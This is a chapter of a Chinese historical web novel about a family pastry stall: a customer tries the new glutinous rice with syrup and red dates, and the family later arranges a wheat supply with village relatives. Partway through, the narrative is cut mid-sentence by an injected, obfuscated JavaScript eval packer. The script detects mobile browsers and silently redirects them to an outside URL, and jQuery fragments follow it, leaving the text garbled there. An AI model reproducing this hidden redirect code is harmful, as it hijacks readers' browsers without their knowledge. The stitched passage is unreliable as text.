第二日,陵水巷的酥饼摊子,悄然上了新吃食。
因着摆摊第三天,降价活动还在。一早上,母女三人一通忙活,刚烙上酥饼,一位回头客眼睛都还没睁开,便又来蹲守了。
陶青禾为此颇有些哭笑不得。见酥饼还要好一会儿才能出锅,她想了想,说:“今日家里做了些新吃食,客人可要尝试一番?”
新吃食?蹲守的汉子连瞌睡都清醒了,问:“什么吃食?可是比酥饼还好吃?”
“是糯米饭,客人若还没吃朝食,可以搭配酥饼来吃。”陶青禾回。
这汉子名叫冯贺,家住陵水巷附近。因着有些闲钱,每日便在街上溜达,无意间碰到酥饼摊子开业,吃过一次后便念念不忘,每日早起也要来吃口新鲜的,为此可被家里人好一顿说。
眼下这酥饼娘子一问,他竟也觉得饿意涌了上来。再瞧着锅里的酥饼,约莫还要等上片刻,于是便道:“来上一份也可,多少钱?”
这时代的坚果贵得离谱,只有在雅集轩售卖的糯米饭才能放上一些,摊子上的,陶青禾却是不打算放。
而这吃食的主要原材料里,糖和糯米均不算便宜,再加上搭配着的红枣和些许芝麻,一碗下来的成本和酥饼是差不多的,因此定价也是一样。
她回道:“今日也是四文一碗,明日酥饼和糯米饭便都是六文钱一份了。”
冯贺在心里算了算,酥饼倒是值得,只这糯米饭……罢了,买上一份先试一下,倒也亏不了多少。
他点点头道:“便先来上一份。”
赵丽娘虽没说话,可在一旁一个字也没漏听。见这熟客要了份新吃食,心里也舒了口气。能卖出第一份,自然还会有第二份,大丫头做的吃食总是不会差的!
糯米稀饭是头天晚上煮好的,现下变得更加粘稠。陶青禾拿出陶碗,利落地盛上八分满,再从别的陶罐舀出芝麻,最后从糖浆罐子里舀上两勺,外加四个渍了一晚上的红枣,摊子上的第一份糯米饭便做好了。
冯贺才闻到浓郁的花香,便被递了一碗到跟前。嘿!可不就是这饭里的香气?再瞧着碗里十足的用料,这如何能不好吃?
他拿起勺子,刚要舀上一口,酥饼娘子却又说话了:“您先搅匀些,饴浆裹在糯米饭上才更好吃。”
冯贺很是听话,赶紧搅拌起来。待均匀后,便舀了一大口送进嘴里。
放了一晚上的米粥,此时变得更加软糯,再配上香甜的饴浆,以及渍得比蜜还甜的红枣……哎呦,这糯米饭可是拿钱也不换呐!
他对着陶青禾称赞,“你这吃食可是稀奇,味道也是极好的!”
陶青禾也笑着回:“好吃您便常来。”
冯贺不停吃着糯米饭,没甚功夫说话,只不住地点头应下。
没一会儿,一碗糯米饭便吃得精光。他咂摸咂摸嘴,又摸了摸肚子,只觉着馋意并未解去多少。想了想又问:“酥饼可好了?”
陶青禾估摸了下时间,回:“还要一会儿才能出锅。”
冯贺听到却是大喜,又道:“待我家去拿些东西,姑娘定要等我回来再开锅。”说完便急匆匆走了。
陶青禾还没来得及问,人已经一阵风似的走远,只留得她一头雾水。
冯贺家就在这陵水巷附近,因此没几步路的功夫,便到了家门口。
冯老太刚溜达一圈回来,正碰上着急忙慌的儿子,她抄起扫帚便朝冯贺身上挥去,“让你不学好,这两日早上都去哪儿了?”
食盒还没拿到手,就被打了一顿。他赶忙躲到一边,开口道:“亲娘诶,只是出门吃顿朝食,如何就挨一顿打了!”
想着锅里还在等他的酥饼,来不及细细解释,只又冲出门去,留了句“先别吃饭,等着我回来!”飘散在空中。
冯老太气得头昏脑胀,这儿子哪哪都好,就是不成器。整日像个闲汉似的不沾家,现下又不知要去哪里,竟还不让家里人吃饭,看来还是打少了!
冯贺不知道亲娘的想法,他一路小跑着,等到摊子前时,正赶上陶青禾掀了锅盖。
心里松下口气后,连汗也来不及擦,又赶紧将食盒递出去,“姑娘给我来上五碗饴浆糯米饭,再来十个酥饼!”
陶青禾夹饼的手都抖了抖,“糯米饭虽是好吃,可不易消化,您不如少买些?”
冯贺知道她误会,忙解释道:“一家子吃,一家子吃。”
陶青禾这才放下心来,美食虽好吃,还是要适量最好。
她拿过食盒,舀上足量的糯米稀饭,并配好小料。再将酥饼整齐摆在第二层,仔细合上盖子又递给冯贺,“您回去后,只需将饴浆糯米饭搅匀,便可以食用。”
冯贺接过食盒,利落地付完钱,说了句“麻烦姑娘了”后,又赶紧家去了。
“这人可是奇怪,一早上无事做,竟就来守着买吃食?”见人已走远,赵丽娘小声说着。
“这便不知道了,”陶青禾摇摇头,又专心烙起饼来。
日头渐渐升起,冯贺前脚刚走,后面便陆续又来了食客。好吃又便宜的酥饼,还有新上的饴浆糯米饭,又引起一波热闹,瞧着竟是不比淮水巷差。
酥饼摊子的火爆,看得蒋秋娘止不住地羡慕。不过陵水巷这边人一多,她也卖了许多柿子,一通算下来,竟是比卖给商贩还强些!
待晌午人少的时候,她特意又拿了好些软柿子,递给陶青禾。
卖钱的物什怎好白拿?不等陶青禾出声,赵丽娘推拒道:“怎的这样客气?前两日才给过!”
蒋秋娘再递过去,“前两日是脆的,今日是软的。这两日沾了你们的光才卖了好些,婶子可千万要收下。”
赵丽娘还想再说些什么,陶青禾却道:“阿娘拿着便是,也是蒋娘子的一番心意。”她朝赵丽娘递了个眼神。
赵丽娘见状也只能收下,又朝人好生道了谢。
陶青禾自然不会白收柿子,只待下午收摊要走时,将提前留下来的六块酥饼,塞给蒋秋娘,只道拿回家尝个鲜。
因着前三日打开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027155|188555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名气,等到酥饼和饴浆糯米饭恢复原价后,摊子倒真是留住了不少客人,每日挣得可是不少!
……
母女三人忙着买卖的同时,东头村的人却已开始准备秋收了。因着夏日持续干旱,今年的收成只能算是一般,好在皇恩浩荡,近些年税收减了许多,倒也勉强还能过活。
李兴旺家当然也忙着抢收,眼下再也没有比这更重要的事了。一大家子起早贪黑忙活了好些日子,才将地里的庄稼收完。只需晾晒些时日,再等粮商进村,便能卖些银钱了。
这日吃完夕食,眼看日头已照不到院子里,一家四口正将摊晒的粮食拢起来,门外却传来敲门声。
“慧娘!”原来是赵丽娘来了。
“来了!”丁慧娘放下手里的农具,赶紧去开门。
果然是许久未见的赵丽娘,还有陶青禾。
“快进来。”将人招呼进院子,丁慧娘才问,“可是才从州城回来?”
母女三人在州城摆摊的事,自然没有隐瞒丁慧娘。此时见两人这个点过来,她便问了句。
“是呀婶子。家里的粮食收完了?”陶青禾问。
“收完了收完了,眼下只等粮商来了。”提起粮食,丁慧娘不自觉带了些喜色,自家地多,收的粮食也多,定是能卖上好些银钱!
见丁慧娘语气轻松,陶青禾也带了笑意,“阿娘说婶子家每年会种些小麦,今日过来便是想问问,婶子能不能多种些?”
陶青禾这样问自然是有缘由的。眼下酥饼生意走上正轨,每日光面粉便得用上三四斤,与其总是去县城,不如从李家婶子这里买。
丁慧娘先是愣了下,等反应过后,她的心顿时砰砰直跳。
从分家后没多久便起了屋子,她虽没深想过陶青禾的生意有多挣钱,但也有所预料。眼下问起这事,定是打算从自家买面粉了!有这好事谁还能不答应?
“自是能多种些,只是不知道需要多少?”丁慧娘按下心里的激动,赶紧问道。
“婶子先种上三亩地,到时候便按市价卖与我。”见她如此痛快,陶青禾也不扭捏。若能直接从村里收到面粉,也省了好些功夫不是?
“这如何能行?”
“自家人用,怎能按市价来?”
夫妻二人同时出了声。青禾丫头特意来照顾家里,再按市价,可真是羞死人了。
“便是不按市价,婶子便与我便宜些,让我也占些利。”见二人这般态度,陶青禾也带着笑意道。
“这是自然,定是不能让你吃了亏。”丁慧娘保证。
说完正事,几人又唠起闲来。因着母女三人每日早起晚归,又不怎么同村里人来往,东头村的事她们什么也不知道。
丁慧娘日日同村里人打交道,消息却是灵光得很。此时见人坐在家里,犹豫片刻后,才道:“丽娘近日可有听到什么?”
赵丽娘猛然被问到,想了好一会儿,也不知是什么事,只得摇摇头道:“近日都在州城忙活,可是出什么事了?”